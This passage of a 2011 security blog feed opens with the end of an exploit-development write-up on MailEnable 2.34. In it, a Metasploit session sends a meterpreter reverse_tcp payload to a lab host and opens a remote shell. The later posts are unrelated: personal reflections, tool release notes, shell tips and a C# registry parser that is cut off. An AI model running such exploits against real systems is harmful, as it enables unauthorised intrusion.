alt=""id="BLOGGER_PHOTO_ID_5626428450062192866" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Your targets in the mailenable_login.rb module should look similar to this, depending on the return address you chose from MSVCP60.DLL. Let's test it. You need to uncomment out the &lt;code&gt;sploit&lt;/code&gt; lines from before and remove your line you inserted with &lt;code&gt;pattern_create(1000)&lt;/code&gt;. &lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;root@bperry-laptop:/home/bperry# msfconsole -L&lt;br /&gt;&lt;br /&gt;                |                    |      _) |&lt;br /&gt; __ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __|&lt;br /&gt; |   |   |  __/ |   (   |\__ \ |   | | (   | | |&lt;br /&gt;_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|&lt;br /&gt;                              _|&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       =[ metasploit v3.8.0-dev [core:3.8 api:1.0]&lt;br /&gt;+ -- --=[ 710 exploits - 359 auxiliary - 57 post&lt;br /&gt;+ -- --=[ 225 payloads - 27 encoders - 8 nops&lt;br /&gt;       =[ svn r13108 updated today (2011.07.06)&lt;br /&gt;&lt;br /&gt;msf &gt; use exploit/windows/imap/mailenable_login &lt;br /&gt;msf exploit(mailenable_login) &gt; set RHOST 192.168.1.105&lt;br /&gt;RHOST =&gt; 192.168.1.105&lt;br /&gt;msf exploit(mailenable_login) &gt; show targets&lt;br /&gt;&lt;br /&gt;Exploit targets:&lt;br /&gt;&lt;br /&gt;   Id  Name&lt;br /&gt;   --  ----&lt;br /&gt;   0   MailEnable 2.35 Pro&lt;br /&gt;   1   MailEnable 2.34 Pro&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(mailenable_login) &gt; set TARGET 1&lt;br /&gt;TARGET =&gt; 1&lt;br /&gt;msf exploit(mailenable_login) &gt; set PAYLOAD windows/meterpreter/reverse_tcp&lt;br /&gt;PAYLOAD =&gt; windows/meterpreter/reverse_tcp&lt;br /&gt;msf exploit(mailenable_login) &gt; set LHOST 192.168.1.71&lt;br /&gt;LHOST =&gt; 192.168.1.71&lt;br /&gt;msf exploit(mailenable_login) &gt; show options&lt;br /&gt;&lt;br /&gt;Module options (exploit/windows/imap/mailenable_login):&lt;br /&gt;&lt;br /&gt;   Name   Current Setting  Required  Description&lt;br /&gt;   ----   ---------------  --------  -----------&lt;br /&gt;   RHOST  192.168.1.105    yes       The target address&lt;br /&gt;   RPORT  143              yes       The target port&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Payload options (windows/meterpreter/reverse_tcp):&lt;br /&gt;&lt;br /&gt;   Name      Current Setting  Required  Description&lt;br /&gt;   ----      ---------------  --------  -----------&lt;br /&gt;   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none&lt;br /&gt;   LHOST     192.168.1.71     yes       The listen address&lt;br /&gt;   LPORT     4444             yes       The listen port&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploit target:&lt;br /&gt;&lt;br /&gt;   Id  Name&lt;br /&gt;   --  ----&lt;br /&gt;   1   MailEnable 2.34 Pro&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(mailenable_login) &gt; exploit&lt;br /&gt;&lt;br /&gt;[*] Started reverse handler on 192.168.1.71:4444 &lt;br /&gt;[*] Trying target MailEnable 2.34 Pro...&lt;br /&gt;[*] Sending stage (752128 bytes) to 192.168.1.105&lt;br /&gt;[*] Meterpreter session 1 opened (192.168.1.71:4444 -&gt; 192.168.1.105:1037) at 2011-07-06 21:27:55 -0500&lt;br /&gt;&lt;br /&gt;meterpreter &gt; Success!&lt;br /&gt;[-] Unknown command: Success!.&lt;br /&gt;meterpreter &gt; exit&lt;br /&gt;[*] Shutting down Meterpreter...&lt;br /&gt;&lt;br /&gt;[*] Meterpreter session 1 closed.  Reason: User exit&lt;br /&gt;msf exploit(mailenable_login) &gt; exit&lt;br /&gt;root@bperry-laptop:/home/bperry# &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Whee! I have submitted the patch to the metasploit guys &lt;a href="http://dev.metasploit.com/redmine/issues/4879"&gt;here&lt;/a&gt;, it should be in trunk shortly. If you would like to play with this, you may download the relevant binaries from &lt;a href="http://www.mailenable.com/history/"&gt;MailEnable&lt;/a&gt; themselves. Just not 2.35! Har har har...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-297098973141348026?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/mqp-xKquHmu7l9nRlpnsyiitTE4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mqp-xKquHmu7l9nRlpnsyiitTE4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/mqp-xKquHmu7l9nRlpnsyiitTE4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mqp-xKquHmu7l9nRlpnsyiitTE4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/qs09YpCcY-0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/297098973141348026/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/07/breaking-mailenable-234-lesson-in.html#comment-form" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/297098973141348026?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/297098973141348026?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/qs09YpCcY-0/breaking-mailenable-234-lesson-in.html" title="Breaking MailEnable 2.34: A lesson in security featuring Metasploit, Immunity Debugger, and mona.py" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-4zhrzO4K3Lw/ThUKgMTxBYI/AAAAAAAAAKI/cD1nSlXwt3A/s72-c/MailEnable%2B%2540%2B2011-07-06%2B19%253A25%253A21.png" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/07/breaking-mailenable-234-lesson-in.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C04GRX86eCp7ImA9WhZaEko.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-3367034801135450460</id><published>2011-06-28T08:37:00.000-06:00</published><updated>2011-06-28T08:38:44.110-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-28T08:38:44.110-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><title>This is cool.</title><content type="html">http://code.google.com/p/disruptor/&lt;br /&gt;&lt;br /&gt;Disruptor - Concurrent Programming Framework&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;They claim a lot, would like to test.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-3367034801135450460?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WxjQie-kJCjDlYa9b1VfQxOFt60/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WxjQie-kJCjDlYa9b1VfQxOFt60/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WxjQie-kJCjDlYa9b1VfQxOFt60/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WxjQie-kJCjDlYa9b1VfQxOFt60/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/e9_k2CUF-Vs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/3367034801135450460/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/06/this-is-cool.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/3367034801135450460?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/3367034801135450460?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/e9_k2CUF-Vs/this-is-cool.html" title="This is cool." /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/06/this-is-cool.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IBSHk9eCp7ImA9WhZVF00.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-5073506430994666520</id><published>2011-05-22T12:18:00.000-06:00</published><updated>2011-05-29T14:39:19.760-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-29T14:39:19.760-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="aspergers" /><title>I'm a jerk.</title><content type="html">I prefer being alone. I spend most of my time alone (well, physically) and on my computer doing some kind of research for whatever my current computer project is. It bothers my mom and I fear she worries about me. My sister asks why I don't go out to socialise or why I don't like people coming over to the house. I really can't explain it any other way than "I just don't like dealing with people". It exhausts me. The more people, the worse it is.&lt;br /&gt;&lt;br /&gt;However, I am surrounded by the smartest people I know all day, through IRC channels mainly, but through blogs talking about the most super fringe use cases of software as well and through the Internet in general. I don't frequent any forums per se, I don't use much social media. IRC is really my preferred communication protocol.&lt;br /&gt;&lt;br /&gt;Anyway, over the years, I have come to learn I am a jerk. During high school, I was often called an asshole (usually in a playful way though). One of my sisters favorite lines when I ask her to do something is "Why don't you learn to ask it not like a jerk?". I just brush it off because I have no idea what it means. Generally speaking, I don't know why what I do is perceived in such a manner. While playing a game of chess with a friend from high school, the topic of me being an asshole came up. To describe me, he said "But you are different kind of asshole, so it's ok". Again, I don't know what this really means, but apparently I am a distinct kind of asshole that can be tolerated. That is a nice thing to know.&lt;br /&gt;&lt;br /&gt;During high school, I wasn't the most social person in the world, but I was in band and enjoyed the company of other bandmates. I didn't like the regiment like behaviour of the marching band though. I hated it. I would fail classes so that I couldn't march in the band. I loved concert band, however. It is the one thing I wish I had never stopped doing. &lt;br /&gt;&lt;br /&gt;Apparently, because I never slept and I was in my room all the time on my computer, my parents thought I was doing drugs. Which drugs I don't know, but when I learned about this, I thought it was humorous. My grades during high school were also very poor. My parents were legitimately concerned about me graduating. I never was. Old high school friends now say that I hardly hung out with anyone outside of school and I was always talking about the cool stuff I was doing with my computer. I never noticed this and to be honest, I don't agree. &lt;br /&gt;&lt;br /&gt;For about two years now, I have suspected I have &lt;a href="http://en.wikipedia.org/wiki/Asperger_syndrome"&gt;Asperger's Syndrome&lt;/a&gt;. It would help explain a lot of things in my life (my "introvertedness", my interest in computers, my somewhat "odd" behaviour). I found the Wikipedia article on a whim and realised it described a lot of me. I see a psychiatrist for depression, and have discussed this with him. While at first he wasn't quite sure and was apprehensive, after a few meetings, he seems to be on the same page as me and encourages me to participate on sites like &lt;a href="http://www.wrongplanet.net/"&gt;Wrong Planet&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;While I find the active age group on the discussion boards younger than I would like, I do read it and find valuable information on social rules and stigmas that I didn't previously see or understand.&lt;br /&gt;&lt;br /&gt;My whole life I always felt like I was different from everyone else, and couldn't quite place my finger on it. I don't think I will seek a diagnosis. It is nice, though, being able to put a form to what was once an unintelligible blob. Of course, this is just my personal opinion. By no means am I saying everyone should go self-diagnosing themselves. It took me about a year to get comfortable enough with the idea to discuss it with my mother.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-5073506430994666520?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/41B6OO9N20j4QdDLXvOyQQqjIYM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/41B6OO9N20j4QdDLXvOyQQqjIYM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/41B6OO9N20j4QdDLXvOyQQqjIYM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/41B6OO9N20j4QdDLXvOyQQqjIYM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/I8fhoR19TJo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/5073506430994666520/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/05/im-jerk.html#comment-form" title="21 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/5073506430994666520?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/5073506430994666520?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/I8fhoR19TJo/im-jerk.html" title="I'm a jerk." /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>21</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/05/im-jerk.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUIAQnwyfyp7ImA9WhZVEE4.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-6650393927115226373</id><published>2011-05-21T22:03:00.000-06:00</published><updated>2011-05-21T22:12:23.297-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-21T22:12:23.297-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="opendiagnostics" /><title>New OpenDiagnostics Live CD Release :: 394 MB</title><content type="html">Removed wine, stupid idea to put on there.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Added mc, lftp, mdadm, a few others I can't remember off the top of my head.&lt;br /&gt;Updated ClamAV to 0.97 and virus defs are good as of today.&lt;br /&gt;Updated metasploit to latest SVN head&lt;br /&gt;Updated kernel to latest and lucid is fully updated.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://volatileminds.net/node/6/release"&gt;Download Here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I have been doing a lot of research into AutoIt scripting lately, as it would help tremendously at the &lt;a href="http://www.arlcc.com"&gt;repair shop&lt;/a&gt;. I have written up a few scripts to automate a few common chores such as msconfig'ing, fixing up performance options, and am in the process of writing a driver backup and general backup script. I hope to include these with some sort of easy way to use them on the root of the CD. The scripts will be compiled to executables, but the scripts will of course be made available, possibly in a google code repo. If you have any suggestions on what type of scripts you would like, or concerns about this possible change, feel free to express them in the comments&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-6650393927115226373?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/PNpevuJTSz7cCFRpffl3pAh6SO4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PNpevuJTSz7cCFRpffl3pAh6SO4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/PNpevuJTSz7cCFRpffl3pAh6SO4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PNpevuJTSz7cCFRpffl3pAh6SO4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/BT1f_2r-F38" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/6650393927115226373/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/05/new-opendiagnostics-live-cd-release-394.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/6650393927115226373?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/6650393927115226373?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/BT1f_2r-F38/new-opendiagnostics-live-cd-release-394.html" title="New OpenDiagnostics Live CD Release :: 394 MB" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>3</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/05/new-opendiagnostics-live-cd-release-394.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QAQ3k9eCp7ImA9WhZQGUs.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-8847139217289324616</id><published>2011-04-27T22:33:00.000-06:00</published><updated>2011-04-27T22:35:42.760-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-04-27T22:35:42.760-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="linux" /><category scheme="http://www.blogger.com/atom/ns#" term="tip" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><title>Fun finding things</title><content type="html">I found a neat way to use find today. If you want to do an inverse search (think grep -v, but in find), simply use '!'. For Example:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;find . '!' -name '*.zip'&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Find all files that don't end in .zip.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-8847139217289324616?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-XOg1XgYLS1fo5dPiQCfg0NtmCU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-XOg1XgYLS1fo5dPiQCfg0NtmCU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-XOg1XgYLS1fo5dPiQCfg0NtmCU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-XOg1XgYLS1fo5dPiQCfg0NtmCU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/OgQsytkS4-c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/8847139217289324616/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/04/fun-finding-things.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/8847139217289324616?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/8847139217289324616?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/OgQsytkS4-c/fun-finding-things.html" title="Fun finding things" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>3</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/04/fun-finding-things.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUIAR3o7eip7ImA9Wx9UEUQ.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-5890671136233540787</id><published>2011-02-08T14:35:00.000-06:00</published><updated>2011-02-08T14:39:06.402-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-08T14:39:06.402-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="openvas" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>OpenVAS 4 has landed in UNSTABLE in OBS</title><content type="html">Add this to your sources.lst:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;deb http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v4/xUbuntu_10.10/ ./&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Then you need to get the key and add it to apt:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;wget http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v4/xUbuntu_10.10/Release.key&lt;br /&gt;apt-key add Release.key&lt;br /&gt;rm Release.key&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Then just &lt;pre&gt;apt-get update&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-5890671136233540787?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/zNvVmLBb1cAvShkJ0KOgW5XoGNk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zNvVmLBb1cAvShkJ0KOgW5XoGNk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/zNvVmLBb1cAvShkJ0KOgW5XoGNk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zNvVmLBb1cAvShkJ0KOgW5XoGNk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/8cKah3YhnvY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/5890671136233540787/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/02/openvas-4-has-landed-in-unstable-in-obs.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/5890671136233540787?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/5890671136233540787?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/8cKah3YhnvY/openvas-4-has-landed-in-unstable-in-obs.html" title="OpenVAS 4 has landed in UNSTABLE in OBS" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/02/openvas-4-has-landed-in-unstable-in-obs.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08CSXozcCp7ImA9Wx9VFk8.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-8996603137166613577</id><published>2011-02-01T23:27:00.000-06:00</published><updated>2011-02-01T23:51:08.488-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-01T23:51:08.488-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="C#" /><title>Non-trivial key names</title><content type="html">It seems that you run into instances where someone working with the registry doesn't know quite how to use it. Well, let's start with some code first.&lt;br /&gt;&lt;br /&gt;Say we have a regex to carve out the data we want:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Regex nk = new Regex(@"nk[\x2c|\x20]\x00.{7}\x01.{117}");&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Chances are this data chunk will have a lot of junk at the end. Most key names as far as I can tell under &amp;lt; 65 characters long, but there are instances where a name legitimately runs longer than that. Here is one example:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;It's not a root key!&lt;br /&gt;Offset to Parent: 4145008&lt;br /&gt;Number of Subkeys: 0&lt;br /&gt;Offset to Subkey LF Blocks: 1061109567&lt;br /&gt;Number of values: 1&lt;br /&gt;Offset to value list: 4144959&lt;br /&gt;Offset to security key: 7421704&lt;br /&gt;Offset to classname: 1061109567&lt;br /&gt;Offset to ?trash?: 1634757999&lt;br /&gt;Name Length: 58 bytes&lt;br /&gt;Classname Length: 0&lt;br /&gt;Partial Name: C:|WINDOWS|Microsoft.NET|Framework|v3.5|AddInProcess3&lt;br /&gt;Name: C:|WINDOWS|Microsoft.NET|Framework|v3.5|AddInProcess3&lt;br /&gt;&lt;br /&gt;It's not a root key!&lt;br /&gt;Offset to Parent: 4144959&lt;br /&gt;Number of Subkeys: 0&lt;br /&gt;Offset to Subkey LF Blocks: 1061109567&lt;br /&gt;Number of values: 1&lt;br /&gt;Offset to value list: 4144992&lt;br /&gt;Offset to security key: 1061109592&lt;br /&gt;Offset to classname: 4156278&lt;br /&gt;Offset to ?trash?: 1231316033&lt;br /&gt;Name Length: 20590 bytes&lt;br /&gt;Classname Length: 28530&lt;br /&gt;Partial Name: cess32,version="3.5.0.0",publicKeyToken="b77a5c561934&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The first node key name has a length of 58 bytes. Pretty normal. But the second node key has a name &lt;b&gt;20590 bytes&lt;/b&gt; long. It also has to do with the .NET Framework.  (*sigh* Microsoft...)&lt;br /&gt;&lt;br /&gt;I can't carve out 20000 byte long chunks for each key node to satisfy the needs of names that shouldn't really be names, that would be crazy. It just so happened that this name was throwing an IndexOutOfrangeException. I decided I could use this to my advantage.&lt;br /&gt;&lt;br /&gt;I could pick a sane number for the size of the regex that would get 90% of my key names and simply work around the longer names (in the short term at any rate).&lt;br /&gt;&lt;br /&gt;My code ended up looking like this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;else if (i == (int)0x0048) //name length&lt;br /&gt;{&lt;br /&gt; byte[] lengthBytes = new byte[dword]; //should only be a word length. not sure why I need to make this dword&lt;br /&gt; &lt;br /&gt; for (int k = 0;k&amp;lt;word;k++)&lt;br /&gt; {&lt;br /&gt;  lengthBytes[k] = bs[i+k];&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; nameLength = BitConverter.ToInt32(lengthBytes, 0);&lt;br /&gt; &lt;br /&gt; Console.WriteLine(String.Format("Name Length: {0} bytes", nameLength.ToString()));&lt;br /&gt; &lt;br /&gt; i += word;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;... //other else if's here&lt;br /&gt;&lt;br /&gt;else if (i == (int)0x004C) //key name&lt;br /&gt;{&lt;br /&gt; int length = nameLength;&lt;br /&gt; &lt;br /&gt; char[] blah = new char[length];&lt;br /&gt; &lt;br /&gt; for (int k = 0; k &amp;lt; length;k++)&lt;br /&gt; {&lt;br /&gt;  try&lt;br /&gt;  {&lt;br /&gt;   blah[k] = (char)bs[i+k];&lt;br /&gt;  }&lt;br /&gt;  catch(Exception ex) &lt;br /&gt;  { &lt;br /&gt;   //sometimes you get stupid long names (someone not know inghow the registry works)&lt;br /&gt;   //when this happens, we will just read what we can and return what we get. Doesn't have to&lt;br /&gt;   //be perfect since we can load the full name at a later time when the user clicks the list item&lt;br /&gt;   //for most names, this won't be needed.&lt;br /&gt;   if (ex.GetType() == typeof(IndexOutOfRangeException))&lt;br /&gt;   {&lt;br /&gt;    Console.WriteLine("Partial Name: " + new string(blah));&lt;br /&gt;    &lt;br /&gt;    i += bs.Length - i;&lt;br /&gt;    k = length;&lt;br /&gt;    &lt;br /&gt;    continue; &lt;br /&gt;   }&lt;br /&gt;   else&lt;br /&gt;    throw ex;&lt;br /&gt;   &lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; &lt;br 